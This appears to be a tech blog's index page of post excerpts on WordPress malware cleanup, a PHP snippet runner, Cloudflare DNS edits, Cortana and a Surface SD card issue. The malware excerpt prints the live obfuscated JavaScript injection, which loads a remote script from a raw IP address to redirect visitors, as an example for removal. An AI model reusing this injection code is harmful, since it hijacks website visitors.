removing wordpress malware infecting js files.

A recent WordPress malware is targeting WordPress websites by injecting a piece of malicious code into every single JavaScript files (mostly libraries specially Jquery) which acts maliciously by redirecting the visitors to advertising affiliate sites. Example injected code: var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) Well I came to know about this when a client approached me to clean his hacked …

Run PHP codes on the fly using phpExec

phpExec is a small tool I did to execute php snippets on the fly. Basically it is like jsfiddle for php which should be hosted by yourself. phpExec is a simple script written in php which provides an in-browser editor to write and run php codes. the only requirement would be having php binaries on …

Search and replace IP addresses in CloudFlare

So I had to search between more than 700 dns records in our cloudflare account and update the IP addresses to the new servers, out of this task I came up with this tiny application I did in PHP that allows you to search all your cloudflare accounts for an specific IP address and then …

Cortana is missing after Windows 10 Anniversary Update

Other than the bash one of the most exciting things for me in Anniversary update of Windows 10 was the Android Notification Sync feature, so before even my update completes I already had cortana installed on my Moto X Pure edition. But Oddly after update Cortana was gone, With no option to enable it. Searching …

Fix: Surface Pro 3 Randomly Ejects Micro SD Card

I bought a 64GB Samsung Micro SD card for my Surface Pro 3 around 2 months ago and used it for all my static files, cloud drives and etc. around 2 weeks ago I encountered this issue that the micro sd card was being ejected and reinserted into the machine randomly.  This was annoying because …